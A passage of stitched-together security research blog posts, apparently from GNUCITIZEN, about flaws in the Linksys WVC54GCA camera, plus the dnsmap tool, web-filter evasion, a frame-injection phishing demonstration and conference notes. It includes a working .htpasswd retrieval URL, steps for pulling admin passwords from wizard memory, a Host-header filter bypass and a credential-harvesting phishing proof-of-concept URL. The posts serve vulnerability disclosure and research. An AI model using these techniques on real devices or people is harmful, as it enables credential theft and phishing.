Finding a file upload vulnerability should allow us to overwrite the /etc/init.d/rcS file and eventually manage to start the telnet server after reboot. By overwriting the /etc/passwd file with our own we should be able to add our own root password. Unfortunately, I haven’t discovered any vulnerability that would allow me to upload files to arbirary locations. If you do discover one, please let me know. I’d love to hear the details.

Testing Info

Directory traversal vuln #1 successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)

Directory traversal vuln #2 successfully tested on:

• WVC54GCA
• V1.00R24 (latest available as on 23rd April 2009)

Although I never tested the second traversal vulnerability on Firmware V1.00R22, I definitely suspect it will work on this previous firmware version as well.

Please note that the aforementioned vulnerabilities are different to BID 10476 which affected the /main.cgi program rather than /adm/file.cgi.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Privilege escalation via arbitrary file retrieval

The second vulnerability I’ll be releasing is an arbitrary(ish) file retrieval vulnerability. It’s not fully arbitrary because you can only retrieve the contents of files located within the same directory where the vulnerable CGI program is located. However, this is enough to allow a neat privilege escalation vector where a restricted user that only has permissions to view the video stream, can gain access to the admin account password.

The problem lies within the next_file parameter which is submitted to the main.cgi program. Although main.cgi does filter characters typically used in directory traversal sequences such as dots (.) and forward slashes (/), it seems that the developer didn’t consider that retrieving the contents of files within the current directory could create a security hole. By simply retrieving the contents of .htpasswd a restricted user which only has permissions to access the video stream can access the credentials of the admin account and also the credentials of other restricted users (if applicable).

The only restriction that needs to be bypassed, is dots (.) symbols being filtered. i.e.: the following will not work and will result in a forbidden error:

/img/main.cgi?next_file=.htpasswd

But replacing the dot (.) symbol with its hexadecimal equivalent:

/img/main.cgi?next_file=%2ehtpasswd

Will result in the contents of .htpasswd being returned. i.e.:

admin:adminpassw0rd user1:pass1 user2:pass2

Like most IP cameras, the Linksys WVC54GCA allows administrators to grant access to the video stream to selected users only (rather than anonymous users who don’t need to authenticate). In this case, the admin user can click on the Users menu and tick the Only users in database option (please see screenshot below). After this, all that is needed is to add a username/password pair for the account to grant video-viewing access to:

Well, the feature discussed above can be rendered useless by exploiting the vulnerability I have described, since it allows restricted users to retrieve the admin password.

Testing Info

Successfully tested on:

• WVC54GCA
• Firmware V1.00R22 and V1.00R24 (latest available as on 20th April 2009)

Please note that this vulnerability is different to BID 10476 which affected the /main.cgi program rather than /img/main.cgi.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The model in particular is the WVC54GCA, which I would say is one of the most affordable Wi-Fi IP cameras out there (about GBP 80 in the UK), making it a great toy to tinker with. I found the camera to be quite good functionalities-wise, although I’ve experienced availability problems with it. It seems the camera freezes every once in a while. Well, this is true at least when you heavily customized its configuration which is what I’ve ultimately done after playing so much with it.

I’ve loved playing with embedded devices for a while, and as a security researcher I find it quite an interesting topic as many de facto security principles that are usually (attempted to be) followed when designing other types of systems are not often applied to embedded devices. This, I believe is due to lack of limitations in hardware resources, and lack of awareness on consequences of getting a miscellaneous device compromised. i.e.: who cares if my IP camera gets owned?

During the next days, I’ll be posting some vulnerabilities I’ve found. Some of them are fun and serious, while others you might find kind of boring.

Meet the target

You can learn a lot about the specs of a device by simply reading the product’s literature. However, sometimes not enough info is provided in these documents. The following are some of the specs I confirmed by interacting with the camera in various ways:

• CPU: Faraday FA526id(wb) rev 1 (v4l) according to /proc/cpuinfo
• OS: Linux version 2.4.19-pl1029 according to /proc/version plus Busybox (confirmed as the file /bin/busybox exists on the filesystem)
• HTTPD: thttpd 2.25b (extracted from banner returned on default html error pages and ‘Server:’ HTTP headers)
• Memory: 30908kB (32 MB?) according to /proc/meminfo
• Firmware Version: V1.00R22 and V1.00R24 (latest version available as on 16th April 2009)

It also comes with a telnet daemon (/usr/sbin/telnetd) but unfortunately for hackers out there, the daemon is disabled as the following line is commented out on /etc/init.d/rcS:

# ---- Start Telnet Server (debug) ---- #

#/usr/sbin/telnetd &

I have not yet managed to get a remote root shell by enabling the telnet daemon but have found some vulnerabilities which might help accomplishing this goal. I will be releasing these vulnerabilities in the next days. Please let me know if you know how to enable the telnet daemon on Linksys IP cameras! Ideally, I’d like to accomplish this without physically connecting to the camera or flashing the firmware.

Remote admin compromise by unauthenticated attackers due to wizard design error

I found this vulnerability while investigating CVE-2008-4390. I wanted to know if CVE-2008-4390 affected my camera, even though it was reported to affect a different Linksys IP camera firmware and model. The CVE entry states:

The Cisco Linksys WVC54GC wireless video camera before firmware 1.25 sends cleartext configuration data in response to a Setup Wizard remote-management command, which allows remote attackers to obtain sensitive information such as passwords by sniffing the network.

So I started trying to figure out if the WVC54GCA also discloses sensitive information when communicating with the wizard. According to the vendor, the issue has been fixed:

Solution: 2300 and 210 have encrypted data and have no such issue. To decode the data, an administrator username/password is a MUST.

At first sight, when capturing the traffic between the wizard and the cam, I couldn’t see the data traveling in human readable form. While trying to figure out how the data is sent over the network (i.e.: encoded/encrypted), I realized there was something seriously wrong with the handshake mechanism.

The following is a very generic (and possibly inaccurate) description of the handshake

1. Wizard (SetupWizard.exe) sends UDP request to 255.255.255.255:916
2. Camera responds back to 255.255.255.255 using the DCERPC protocol and presents itself with identity info such as the value of the defname variable which looks like LKXXXXXX, where X is a hex digit. This identity info is picked up by SetupWizard.exe. Some of this info such as MAC address, IP address and subnet mask is shown in the wizard.
3. From now on, SetupWizard.exe uses the camera’s defname variable when talking to it, so that the camera knows what requests submitted to 255.255.255.255:916 it should respond to.

At this point the wizard has discovered the camera and the user can go through the setup procedure. For security reasons, the user needs to enter the admin username and password, before the setup process can start. Otherwise anyone could make changes to the camera without authenticating.

Now, here is the important bit. If you capture the network traffic while running SetupWizard.exe, you’ll notice that when the user is asked to enter the admin username and password after the camera is discovered, there are NO requests sent from the wizard to the camera in order to verify that the entered username/password combination is correct!

How is this possible? What the heck is going on?! I thought. I was terrified to confirm my worst fear: the wizard already knows the camera’s admin username and password at this point, thus there is no need to ask the camera again. Indeed, at this point – before the user enters the admin username and password that is – the camera’s credentials are already loaded into the memory of the SetupWizard.exe process. This is because the camera has previously transfered the admin credentials along with other configuration data!

In case I didn’t explain myself properly I’ll summarize the issue by saying that the camera transfers the admin username and password to the wizard before the user enters them. The following steps demonstrate how an unauthenticated attacker can remotely obtain the camera’s admin username and password:

1. Download the setup wizard. You might need to download a different wizard if you want to test this vulnerability on a different Linksys IP camera model
2. Run SetupWizard.exe
3. Click on Click Here to Start / Setup Camera / Next (after accepting EULA) / Next (4 more times in total)
4. The discovery process is quite flaky, so if the wizard hasn’t found your camera yet, click on Search Again as many times as required until it works
5. You should now see your camera’s name under the Camera List column and also various configuration data under the Status column:
   
6. You now need to dump the process memory of SetupWizard.exe using your favorite tool:
   
7. Then open the memory dump file using your favorite hex editor
8. Now you can either search for admin and find the admin password after a few null bytes, or tell your hex editor to go to decimal position 75058 (Address / Goto ... menu on XVI32). In my case the admin password would always fall within this position:
   
9. Have fun! (the most important step really)

It is somehow ironic that a free tool provided by the vendor of a product can be used as a hacker tool against their own product.

As far as I know, this vulnerability cannot be exploited over the Internet, since the camera only responds to wizards located in the same LAN. Never say never though, so if you find a way to exploit this vulnerability over the Internet, please contact us.

UPDATE: CPU and additional OS info added.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

This is the fifth year CONFidence is taking place, and there have been several changes introduced. First of all there will be two simultaneous tracks after lunch time, whereas previous editions only offered one track all day. Also, this year introduced the Hackers’ Squad, which sounds to me like a great idea for learning and having fun at the same time. The following is mentioned on the CONFidence website regarding the Hackers’ Squad:

During 5th edition of CONFidence you have a unique chance to stay at the coolest spot in the city Hackers’ Squad. It is a place where hacking never stops!

We decided to rent the whole hostel (or even group of hostels if it’s necessary) and turn it into the real hacking space a place to sleep, to party and to hack – only for CONFidence attendees.

Last year pdp and I had a blast at the event, which we found to be one of the best organized security cons we’ve been too. To date, I can say that CONFidence and HITBSecConf – aka Hack in the Box – are probably my two favorite hacker events. Unfortunately, pdp won’t be speaking at CONFidence this year, but he will be busy presenting at other events such as AusCERT 2009.

My humble talk on credit card theft

I’d like to personally thank Andrzej Targosz for inviting me to speak this year, making it the second time I’ll deliver a presentation at CONFidence. I hope my presentation will be interesting and entertaining enough for the audience. This is the abstract for my talk:

You are a security geek, you specialize in pentesting, but somehow during your career you’ve had to deal with PCI DSS. Yes, PCI DSS can be very boring, I feel your pain! Pentesters usually don’t like standards because they understand that there is only so much they can do to help organizations protect their information assets. On top of that, pentesters usually like to experiment which goes against the principle of boring audit checklists.

In this presentation, we will cover PCI DSS and credit card security from a (hopefully) fun perspective, with a focus on credit card theft techniques. How are merchants and service providers being compromised? How about us consumers? What loopholes currently exist in the PCI DSS standards which still allow unsophisticated attackers to compromise credit card data?

This presentation is not brought to you by a PCI DSS expert, but rather a frustrated pentester who will attempt to show you that PCI DSS and credit card security in general can be a fun topic! Knowledge learned from performing pentests and from working with QSAs who have assessed compromised data centers will be shared.

Of course, if you have any thoughts on things you think I should cover in my presentation I’m all ears!

Talks I’m interested in

I must say that there are quite a few presentations that look interesting, but it was Rich Smith‘s abstract on attacking VNC that caught my eye the most.

The reason why I’m interested in this talk is because Rich is basically answering a question I asked myself a long time ago when the infamous VNC auth bypass vuln was discovered: can we programmatically run commands via the Remote Frame Buffer (RFB) protocol which VNC relies on? It seems that Rich has done a heck of a job at answering this question!

I remember exploiting the VNC auth bypass bug during pentest assessments. Basically, once you gained access to the desktop two things could happen: 1) the screen is locked and you’re stuck, 2) the screen is unlocked and you gain access to the currently-logged-in user’s session.

In the second case, you can obviously do anything including running commands of course. So if the logged-in user has admin privileges on the box, it’s a full compromise pretty much. However, the attack can be very noisy, since the attacker is graphically interacting with the desktop. For instance, imagine if the admin was physically sitting in front of the compromised system while watching someone else opening the command prompt, etc. Another scenario which can arouse suspicion is the admin remotely VNCing into the box. If the attacker also connects via VNC to the same box, that would kill the admin’s VNC session. Quite noisy as you can imagine.

So my question back then was, could someone programmatically compromise a box via VNC and then launch a malicious payload? i.e.: adding a new OS account. I must say that I dug a bit back then and it’s not as trivial as it sounds, which is what Rich is arguing in his presentation, although he did manage to write a python library and suite of tools for automating tasks like this.

Think of the following automatic task:

1. scan boxes for blank VNC passwords
2. if blank pass allowed, then backdoor system
3. continue scanning

Fun indeed!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Originally released in 2006, dnsmap is mainly meant to be used by pentesters during the information gathering/enumeration phase of infrastructure security assessments. During the enumeration stage, the security consultant would typically discover the target company’s IP netblocks, domain names, phone numbers, etc. dnsmap was included in Backtrack 2 and 3, although the version included is the now dated version 0.1.

Subdomain brute-forcing is another technique that should be used in the enumeration stage, as it’s especially useful when other domain enumeration techniques such as zone transfers don’t work (I rarely see zone transfers being publicly allowed these days by the way).

Original Features of Version 0.1

• obtain all IP addresses (A records) associated to each successfully bruteforced subdomain, rather than just one IP address per subdomain
• abort the bruteforcing process in case the target domain uses wildcards
• ability to be able to run the tool without providing a wordlist by using a built-in list of keywords
• bruteforcing by using a user-supplied wordlist (as opposed to the built-in wordlist)

New Improvements in Version 0.22

• saving the results in human-readable and CSV format for easy processing
• fixed bug that disallowed reading wordlists with DOS CRLF format
• improved built-in subdomains wordlist
• new bash script (dnsmap-bulk.sh) included which allows running dnsmap against a list of domains from a user-supplied file. i.e.: bruteforcing several domains in a bulk fashion
• bypassing of signature-based dnsmap detection by generating a proper pseudo-random subdomain when checking for wildcards

Usage

usage: dnsmap <target-domain> [options]
options:
-w <wordlist-file>
-r <results-path>

Example on Live Domain

The following is just an example so you get an idea of how dnsmap works. Very simple to use as you can see. If you want to save the results or use your own wordlist, checkout the usage syntax. Question for those who pay attention to detail: can you spot the potential leaks of internal IP addresses?

$ dnsmap baidu.com
dnsmap 0.22 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for baidu.com using built-in wordlist

accounts.baidu.com
IP address #1: 10.11.252.74

events.baidu.com
IP address #1: 202.108.23.40

finance.baidu.com
IP address #1: 60.28.250.196
IP address #2: 60.28.251.79
IP address #3: 60.28.251.206
IP address #4: 123.129.240.28
IP address #5: 123.129.240.29
IP address #6: 60.28.250.102
IP address #7: 60.28.250.111

forum.baidu.com
IP address #1: 202.108.250.212

images.baidu.com
IP address #1: 61.135.163.93

mail.baidu.com
IP address #1: 10.23.3.137

mobile.baidu.com
IP address #1: 202.108.23.125

mx.baidu.com
IP address #1: 61.135.163.61

mx1.baidu.com
IP address #1: 61.135.163.61

mx2.baidu.com
IP address #1: 61.135.163.62

mx3.baidu.com
IP address #1: 61.135.162.61

news.baidu.com
IP address #1: 61.135.163.87

ns1.baidu.com
IP address #1: 202.108.22.220

ns2.baidu.com
IP address #1: 61.135.165.235

ns3.baidu.com
IP address #1: 220.181.37.10

oracle.baidu.com
IP address #1: 172.18.0.50

photo.baidu.com
IP address #1: 61.135.163.93

photos.baidu.com
IP address #1: 61.135.163.93

pop.baidu.com
IP address #1: 61.135.166.249

proxy.baidu.com
IP address #1: 202.108.11.30

smtp.baidu.com
IP address #1: 61.135.163.61

vpn.baidu.com
IP address #1: 202.108.250.231

wap.baidu.com
IP address #1: 61.135.163.237

webmail.baidu.com
IP address #1: 61.135.166.249

win.baidu.com
IP address #1: 10.65.19.212

www.baidu.com
IP address #1: 220.181.5.222

www1.baidu.com
IP address #1: 220.181.5.222

www2.baidu.com
IP address #1: 202.108.22.136

www3.baidu.com
IP address #1: 202.108.22.188

[+] 29 (sub)domains and 35 IP address(es) found

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The following are some of them:

1. access the desired site via IP address rather than domain name
2. access cached content rather than live data. i.e.: using Google’s cache: command
3. using proxies. i.e.: anonymouse, Google translator, etc
4. using alternative connections. i.e.: connecting your laptop online via your mobile/cell phone’s HSDPA interface

Each method has different advantages and disadvantages. For instance, method #1 only works on servers that do NOT use domain-based virtual hosts, i.e.: shared hosting. The exception to this rule is that the site served by default when requesting the IP-based URL (rather than domain-based), is the one you’re after. You’ll have to use your judgment when deciding which technique is the right one for you.

Whatever the reason may be, there are many legitimate reasons for accessing websites that are blocked by the gateway in question. Personally, when I’m doing on-site pentests, I sometimes need to access useful online resources, which unfortunately are often flagged under the hacking category.

Another nifty trick

There is perhaps a lesser known technique which although does not work against all appliances, it does work even in cases where the web server you want to connect to uses domain-based virtual hosts. I’ve personally seen work on a Clearswift MIMEsweeper environment. Note that it might not work against the latest versions, so please keep this in mind if you can’t replicate this technique!

The idea is to sneak the domain name matching the server’s virtual host, while being able to bypass the content filter. As you know, filtering gateways block bad websites based on domain names. For instance, an HTTP request would be inspected to make sure that the requested URL doesn’t contain a black-listed domain name.

Not too long ago I tested a MIMEsweeper appliance and noticed that HTTP requests were only inspected for bad domain names within the URL data, but not within the Host: header, i.e.:

GET http://1.2.3.4/ HTTP/1.1
Host: www.blockedsite.foo
[some headers removed for clarity purposes]

The previous HTTP request would bypass MIMEsweeper’s filter (not sure if it works on all versions) even if www.blockedsite.foo was a black-listed domain. Reason for that is because only the http:// URL is being inspected. The remote server would still happily return the website we’re interested in as we have successfully established a TCP connection, and the desired virtual host has been requested.

I put the following steps together to test this technique using Firefox’s Modify Headers extension. Please see the attached screenshots for more details:

1. Get the target site’s IP address by using a command line tool such as ping or host, or public websites such as domaintools.com
2. Fire up Modify Headers
3. Add a new modify rule (top-left drop-down menu) and enter Host as a name, and the domain name of the site you want to visit as value
4. Double-click on the new rule so that the red light becomes green (rule is now active)
5. If the technique worked against your appliance, you should now be able to freely browse the blocked site by entering its corresponding IP address in your browser’s address bar

And this is one of the many techniques to bypass web filtering gateways.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The best thing about assisting these kind of events is the technical discussions and exchange of ideas with not just other presenters but also attendees. It’s amazing the quality of talent you find at hacker/security conferences which always remind us that there is always someone out there who knows more than we do.

New SonicWALL Vulnerability

At HITB, I released the details of the universal website hijacking vulnerability which affects most (perhaps all?) SonicWall firewalls running firmware SonicOS Enhanced <4.0.1.1. In short, if you have a SonicWall appliance running firmware older than 4.0.1.1, any website that you’re browsing can be hijacked by third-party sites while you’re browsing the web. Think of the contents of your Gmail inbox or address book being sent somewhere else while you’re browsing the web.

It turns out that this technique is not brand new as I thought. Somehow, I couldn’t find earlier examples of this technique. So while this type of vulnerability is not that popular, there was a similar example published five years ago. Funny enough, I used to follow infohacking.com’s (site not up anymore) research, but couldn’t remember their Microsoft ISA finding. In their original advisory, they referred to the finding as a MiTM XSS. If you go through my Universal Website Hijacking by Exploiting Firewall Content Filtering Features paper, you’ll understand why.

From the paper:

The technique discussed in this paper demonstrates how any website can be hijacked without relying on a cross-domain vulnerability present on the targeted site or client-side software present on the victim’s computer. Instead, the attacker exploits a vulnerability on the firewall/proxy appliance in charge of “protecting” the victim user. Furthermore, the cross-domain vulnerability discussed in this paper is of universal nature, which means that any website can be hijacked as long as the victim user’s connection is “protected” by a firewall appliance of the affected vendor in question.

Fave presentations

I must admit I couldn’t see all presentations at Hack.lu and Hack in the Box. However, from what I saw, my favorites at Hack.lu were the SS7 talk by Philippe Langlois and Browser Exploits by Saumil Shah. While at HITB, the Pirate Bay talk by its very founders, and How to Build Your Own Password Cracker with a Disassembler and a Little VM Magic by Matthew Geiger were some of the best in my opinion.

Philippe Langlois discussed the evolution of phreaking and argued that manipulating SS7 and SS7 over IP (SIGTRAN) are the closest thing to the blue box we have in modern telephone networks. No matter what telephony technology we use, SS7 is always functioning behind the scenes in the backbone of the PSTN. SS7 is in charge of very-interesting functionalities such as routing, sms and even billing. Therefore, learning how to manipulate the SS7 protocol suite is essential for telephone hackers.

Saumil Shah talked about the current landscape of browser exploitations, and how despite new browser techniques by Sotirov , heap spray exploitation still works like a charm and isn’t stopped by protections such as ASLR, DEP, NX, GS, etc …

As for the Pirate Bay guys, well, awesome and very entertaining presentation. I recommend watching the video which is online. It’s amazing the number of stories these guys have to tell, regarding media companies trying to stop them. These includes all sorts of dirty tricks including DDoSing their infrastructure.

Matthew Geiger talked about several aspects of the computer forensics field, including restrictions that the law imposes on forensics professionals that make their work even harder. However, it was his demo which I liked the best (I love demos). He showed how to make a homegrown password cracker for the TrueCrypt boot loader password prompt. In short, he virtualized the disk using Live View, and patched the TrueCrypt binary in charge of asking for the boot password using IDA Pro. Finally redirected a wordlist with all passwords to try to the patched binary. The patch is only a change in one byte of the binary which allows us to try as many passwords as we need, rather than a maximum of three. The patch allows us to never increase the counter in charge of tracking how many password have been attempted by inserting a NOP (0×90).

Finally, I was a bit disappointed by Kris Kaspersky’s presentation on remote code execution by exploiting CPU bugs. Although to me this was supposed to be one of the hottest talks, there was no details or demo given as part of the presentation. After talking to a few members of the audience, it seems that I’m not the only one who was more confused about the topic after the presentation rather than before. Don’t get me wrong, the topic is super interesting, but the presentation was somehow confusing, and the material was hard to understand since no details were given. I think that when a topic that is so rare to most people is presented, giving details and a demonstration is crucial for the audience to grasp the core of the research.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

• There is no need to inject special control characters such as angle brackets (unlike HTMLi/XSS)
• HTMLi/XSS filtering routines will not project against frame injection since the attacker only needs to insert a URL in the non-sanitized parameter

The best way to explain what I mean is to show an example. Most frame injection issues occur in web applications because dynamic frameset/iframe insertion is not implemented with enough filtering. For instance, say that we have the following URL on the target site:

https://www.victim.foo/index.php?targeturl=/contact.php

A malicious user with intentions of launching a phishing attack will try tampering the targeturl parameter. His goal is to insert a third-party page that is under his control, rather than the original contact page. Indeed, index.php, although is not allowing HTML or JavaScript to be assigned to targeturl, is happy to process an absolute URL rather than a relative one:

https://www.victim.foo/index.php?targeturl=http://evil.foo/login.php

I thought that showing a live example would help our readers get an idea of what frame injection looks in action. For that purpose, I prepared a rather not elegant proof of concept which takes advantage of the Google Images service. What’s neat is that although the legitimate URL would normally use the images.google.com domain, Google also allow us to use other google.com subdomains such as mail.google.com which is used by Gmail. This is ideal, as we’re trying to accomplish a frame injection attack which can be used to perform phishing attacks against Gmail users.

http://mail.google.com/imgres?imgurl=http://SecureGoogleMail&imgrefurl=http://mail.google.com/imgres?imgurl=http://SecureGoogleMail&imgrefurl=%68%74%74%70%3a%2f%2f%73%6e%69%70%75%72%6c%2e%63%6f%6d%2f%67%6e%77%62%6f

The previous PoC URL will cause the entered credentials to be submitted to www.gnucitizen.org when clicking on Sign in, so please do NOT submit any real credentials!

pIn short:p The attacker has managed to display a non-legitimate third-party page, while the legitimate domain (mail.google.com in this case) is shown in the address bar.The beauty of frame injection attacks is that the attacker is able to impersonate a trusted entity without needing to bypass XSS/HTMLi filters or even break into the target server.

Needless to say, in real-life the attacker would most likely automate the process of obtaining the harvested credentials by using a tool such as our x.php data-theft script.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

I will be delivering the updated version of my Cracking into Embedded Devices and Beyond! presentation, which will include a quite special – i.e.: unusual – 0day vulnerability which I have successfully reported via Zero Day Initiative.

The 0day vuln

Well, I cannot give full details on the vulnerability at this moment, due to ZDI’s advisory not being published yet. I’m planning to release the full details for the first time on 30th October at HITBSecConf2008 Malaysia. However, there are a few things I can tell you for the moment being. First of all, the affected system is an embedded device, which is quite obvious by reading the name of my presentation. More precisely, the vulnerability affects appliances of a well-known firewall vendor.

Usually, web cross-domain vulnerabilities, affect either a server-side service/application, or client-side software. For instance, we might have a cross-domain vulnerability on the target site itself (i.e.: XSS/HTML injection), or on a client-side component present on the victim’s user component. i.e.: web browser itself or web browser plugin. In the case of my finding however, the targeted website can still be hijacked even if the site is NOT vulnerable to XSS, and even if the client-side software on the victim’s computer is not vulnerable to any cross-domain vulnerability.

In this case, the attacker exploits a vulnerability which doesn’t affect the targeted website, nor the software installed on the victim user’s computer. Instead, the attacker exploits a vulnerability on the firewall appliance in charge of protecting the corporate user. Additionally, the cross-domain vulnerability is of universal nature, which means that any website can be hijacked as long as the victim user’s connection is protected by a firewall appliance of the affected vendor in question.

In summary, by exploiting this vulnerability the attacker:

• can hijack ANY website. i.e.: steal session IDs, inject non-legitimate HTML content, and other evil goodness
• doesn’t need to find any XSS on the website he/she wants to hijack
• doesn’t need to find any vulnerability on software present on the victim user’s computer

There is virtually nothing the victim user can do to protect against this attack if his/her connection is “protected” by a firewall appliance affected by this vulnerability. There are other factors that make this vulnerability quite special, but as I said, I can’t give too many details for now. All in all, this finding is a good reminder that our online security not only depends on end-point systems such as the client and server that have established a connection, but also all the hops/devices in between!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

This year somehow I managed to meet more people, attend more parties and see more presentations than during previous years. I had the pleasure to meet other fellow researchers for the first time such as Nathan McFeters, Billy (BK) Rios, RSnake, id and many others! All of them are security warriors whose research I was familiar with, but had never met in person. It’s always nice to put a face to a name!

Although meeting the aforementioned individuals was of course a pleasure as I enjoyed having a nice chat with all of them, perhaps the most special and unexpected encounter was running into Captain Crunch!

In short, while chilling at the freak show party, I saw an elderly gentleman who appeared to be having a great time at the dance floor. This gentleman called my attention as he appeared to never run out of energy despite his active dancing activity. Eventually, I started noticing his resemblance with Captain Crunch. So I told my wife: you know, it’s funny, but there is this man on the dance floor who looks a lot like a big icon from the early history of hacking: captain crunch. My wife was familiar with such legend of the hacker culture thanks to having seen The Secret History of Hacking and kind of agreed with me regarding his resemblance with Captain Crunch.

To me it was kind of surreal to find Captain Crunch raving at a Defcon party. Eventually I approached him and said: excuse me, have you ever been told that you look like Captain Crunch?. And he goes like: I am Captain Crunch! Amazing, I guess anything is possible at Defcon!

Also, I got to hangout with several friends including pdp which is great. Regarding presentations, I saw quite a few, some more relevant to my profession as a pentester than others. My favorites were Time-Based Blind SQL Injection using heavy queries, Sniffing Cable Modems and The World of Pager Sniffing. All of them really fun talks!

Finally, I really enjoyed the showing of the original Wargames movie for its 25th anniversary. Not only is Wargames one of my favorite (and perhaps more accurate) hacker movies, but David Scott Lewis – a.k.a. Lightman – was there himself to answer questions made by DT and anyone in the audience. For those who don’t know who David Scott Lewis is, he was the model for Matthew Broderick’s character in the movie Wargames.

PS: excuse my sleepy face in the picture!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores